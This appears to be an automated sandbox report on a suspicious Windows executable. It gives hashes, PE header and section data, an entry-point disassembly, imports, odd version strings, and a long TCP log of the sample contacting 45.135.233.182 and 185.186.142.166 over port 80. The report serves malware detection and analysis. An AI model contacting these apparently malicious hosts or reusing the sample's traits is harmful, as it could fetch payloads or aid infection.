SHA512:	28a1edb043ae30af213cbfe93745f2d94a4f9f5b76668cbed0889780dc7031e4a6d1caa839d78035a42769bc13d2d0a376e13e50779807edbcd3189d44f070bf
SSDEEP:	3072:AQAT6lATyGd4pXqYMER3QLSeuYerXcyGmofWrxpzbgqru:AQppHZQLSeNcbG/fuzbgwu
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................g.......q.I.....v......h..........E.....x.......f.......c.....Rich....................PE..L.....?_...........

File Icon


Icon Hash:	acfc36b6b69cc6e2

Static PE Info

General
Entrypoint:	0x403000
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F3F8DFF [Fri Aug 21 09:03:59 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6d4af36ccbaddaffd179ef41d42df9cf

Entrypoint Preview

Instruction
call 00007F8AAC72C447h
jmp 00007F8AAC7263FDh
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F8AAC7265A6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F8AAC7265D0h
test ecx, 00000003h
jne 00007F8AAC726571h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F8AAC72656Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F8AAC7265B4h
test ah, ah
je 00007F8AAC7265A6h
test eax, 00FF0000h
je 00007F8AAC726595h
test eax, FF000000h
je 00007F8AAC726584h
jmp 00007F8AAC72654Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 004132D8h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F8AAC72658Eh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16668	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40000	0xcd20	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x131d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x15940	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11e13	0x12000	False	0.607245551215	data	6.66808697674	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x3f32	0x4000	False	0.365783691406	data	5.41084156967	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0x281b8	0x22200	False	0.252797332875	data	2.7964138755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x40000	0xcd20	0xce00	False	0.660421723301	data	6.34041238895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x4c088	0x130	data	Bulgarian	Bulgaria
RT_ICON	0x40570	0xea8	data	Bulgarian	Bulgaria
RT_ICON	0x41418	0x8a8	data	Bulgarian	Bulgaria
RT_ICON	0x41cc0	0x6c8	data	Bulgarian	Bulgaria
RT_ICON	0x42388	0x568	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_ICON	0x428f0	0x25a8	data	Bulgarian	Bulgaria
RT_ICON	0x44e98	0x10a8	data	Bulgarian	Bulgaria
RT_ICON	0x45f40	0x988	data	Bulgarian	Bulgaria
RT_ICON	0x468c8	0x468	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_ICON	0x46da8	0xea8	data	Bulgarian	Bulgaria
RT_ICON	0x47c50	0x8a8	data	Bulgarian	Bulgaria
RT_ICON	0x484f8	0x25a8	dBase III DBT, version number 0, next free block index 40	Bulgarian	Bulgaria
RT_ICON	0x4aaa0	0x10a8	data	Bulgarian	Bulgaria
RT_ICON	0x4bb48	0x468	GLS_BINARY_LSB_FIRST	Bulgarian	Bulgaria
RT_DIALOG	0x4c388	0x72	data	Bulgarian	Bulgaria
RT_STRING	0x4c400	0x452	data	Bulgarian	Bulgaria
RT_STRING	0x4c858	0x1ec	data	Bulgarian	Bulgaria
RT_STRING	0x4ca48	0x2d4	data	Bulgarian	Bulgaria
RT_ACCELERATOR	0x4c000	0x60	data	Bulgarian	Bulgaria
RT_ACCELERATOR	0x4c060	0x28	data	Bulgarian	Bulgaria
RT_GROUP_CURSOR	0x4c1b8	0x14	data	Bulgarian	Bulgaria
RT_GROUP_ICON	0x46d30	0x76	data	Bulgarian	Bulgaria
RT_GROUP_ICON	0x4bfb0	0x4c	data	Bulgarian	Bulgaria
RT_VERSION	0x4c1d0	0x1b8	COM executable for DOS	Bulgarian	Bulgaria

Imports

DLL

Import

KERNEL32.dll

GetConsoleAliasesLengthW, GetLocaleInfoA, SetComputerNameExA, VirtualQuery, GetDefaultCommConfigW, FindResourceExW, OpenJobObjectA, GetConsoleAliasA, InterlockedDecrement, CompareFileTime, GetProfileSectionA, GetConsoleAliasesA, GetConsoleTitleA, ReadConsoleW, SetFileTime, GlobalAlloc, Sleep, GetFileAttributesW, GetAtomNameW, SetConsoleTitleA, RaiseException, GetLastError, GetProcAddress, GetLongPathNameA, VirtualAlloc, PrepareTape, DnsHostnameToComputerNameA, GetFileType, GetModuleFileNameA, CreateIoCompletionPort, GetModuleHandleA, GetStringTypeW, GetVersionExA, ReadConsoleInputW, EnumSystemLocalesW, CreateThread, HeapAlloc, GetCommandLineA, GetStartupInfoA, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualFree, HeapReAlloc, HeapCreate, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, SetHandleCount, SetFilePointer, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, CloseHandle, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, LoadLibraryA, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CreateFileA, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, HeapSize, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, SetEndOfFile, GetProcessHeap, ReadFile, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW

Version Infos

Description	Data
ProjectVersion	3.10.70.57
InternationalName	bomgvioci.iwa
Copyright	Copyrighz (C) 2021, fudkort
Translation	0x0129 0x0794

Possible Origin

Language of compilation system	Country where language is spoken	Map
Bulgarian	Bulgaria

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2022 20:50:14.905978918 CET	49715	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:14.962883949 CET	80	49715	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:14.963044882 CET	49715	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:14.963174105 CET	49715	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:14.963207006 CET	49715	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.072490931 CET	80	49715	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.072844982 CET	49715	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.074388027 CET	49715	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.130561113 CET	80	49715	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.413057089 CET	49716	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.468925953 CET	80	49716	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.469121933 CET	49716	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.469218969 CET	49716	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.469230890 CET	49716	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.530463934 CET	80	49716	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.584511995 CET	80	49716	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.584671974 CET	49716	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.584789038 CET	49716	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.640816927 CET	80	49716	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.916636944 CET	49717	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.971641064 CET	80	49717	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:15.971807957 CET	49717	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.972155094 CET	49717	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:15.972171068 CET	49717	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.033351898 CET	80	49717	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.340686083 CET	80	49717	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.340766907 CET	49717	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.341160059 CET	49717	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.388896942 CET	49718	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.396584034 CET	80	49717	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.444050074 CET	80	49718	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.444170952 CET	49718	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.444258928 CET	49718	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.444274902 CET	49718	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.501214981 CET	80	49718	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.556610107 CET	80	49718	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.556680918 CET	49718	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.556967020 CET	49718	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.618274927 CET	80	49718	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.888406992 CET	49720	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.945509911 CET	80	49720	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:16.945648909 CET	49720	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.945770979 CET	49720	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:16.945790052 CET	49720	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.001722097 CET	80	49720	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.335186005 CET	80	49720	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.336018085 CET	49720	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.336253881 CET	49720	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.371140003 CET	49721	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.393330097 CET	80	49720	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.433115005 CET	80	49721	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.433350086 CET	49721	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.433510065 CET	49721	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.433528900 CET	49721	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.489483118 CET	80	49721	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.536736965 CET	80	49721	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.538889885 CET	49721	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.539165974 CET	49721	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:17.570188046 CET	49722	80	192.168.2.5	185.186.142.166
Jan 13, 2022 20:50:17.594602108 CET	80	49721	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:17.626147032 CET	80	49722	185.186.142.166	192.168.2.5
Jan 13, 2022 20:50:18.139741898 CET	49722	80	192.168.2.5	185.186.142.166
Jan 13, 2022 20:50:18.195549011 CET	80	49722	185.186.142.166	192.168.2.5
Jan 13, 2022 20:50:18.702305079 CET	49722	80	192.168.2.5	185.186.142.166
Jan 13, 2022 20:50:18.758186102 CET	80	49722	185.186.142.166	192.168.2.5
Jan 13, 2022 20:50:18.791871071 CET	49723	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:18.847414970 CET	80	49723	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:18.847563028 CET	49723	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:18.847728968 CET	49723	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:18.847754955 CET	49723	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:18.903244972 CET	80	49723	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:18.954693079 CET	80	49723	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:18.954818010 CET	49723	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:18.955168009 CET	49723	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:18.989523888 CET	49724	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.015216112 CET	80	49723	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.045056105 CET	80	49724	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.045125961 CET	49724	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.045268059 CET	49724	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.045288086 CET	49724	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.100991011 CET	80	49724	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.158050060 CET	80	49724	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.158175945 CET	49724	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.158552885 CET	49724	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.189949036 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.213670015 CET	80	49724	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.246468067 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.246576071 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.246692896 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.337629080 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.337666035 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.337690115 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.337714911 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.337738991 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.337762117 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.337784052 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.337820053 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.338047981 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.338077068 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.338099957 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.338130951 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.338424921 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.338478088 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.393966913 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394006014 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394032955 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394057989 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394095898 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.394125938 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.394186974 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394210100 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394234896 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394269943 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.394315004 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394362926 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.394853115 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394884109 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394907951 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.394954920 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.450515985 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450551987 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450577021 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450599909 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.450618982 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450661898 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.450766087 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450793028 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450818062 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450846910 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.450855017 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.450887918 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.452209949 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.452245951 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.452270031 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.452295065 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.452344894 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.452393055 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.516361952 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516392946 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516418934 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516439915 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.516462088 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516551018 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.516567945 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516591072 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516621113 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516644955 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.516657114 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.516724110 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.516985893 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.517011881 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.517040968 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.517059088 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.517087936 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.517146111 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.571604013 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.571660995 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.571724892 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.571840048 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.571866989 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.571892023 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.571942091 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.571969986 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572017908 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.572149992 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572253942 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572282076 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572307110 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572319031 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.572381020 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.572809935 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572901964 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.572951078 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.572997093 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.624383926 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.627640009 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627688885 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627727032 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627751112 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.627770901 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627796888 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627821922 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627837896 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.627856970 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627871037 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.627891064 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627914906 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627942085 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627948999 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.627973080 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.627986908 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.671073914 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.679655075 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.679686069 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.679747105 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.683685064 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.683706999 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.683723927 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.683742046 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.683758020 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.683799028 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.684103012 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.684122086 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.684204102 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.685151100 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.685178041 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.685192108 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.685209990 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.685316086 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.728189945 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.728229046 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.728285074 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.735435009 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.735471010 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.735590935 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.739711046 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.739742994 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.739768028 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.739792109 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.739809036 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.739840031 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.739847898 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.739870071 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.739913940 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.740717888 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.740739107 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.740756035 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.740775108 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.740839958 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.740993023 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.785764933 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.785794020 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.785839081 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.798506021 CET	80	49725	45.135.233.182	192.168.2.5
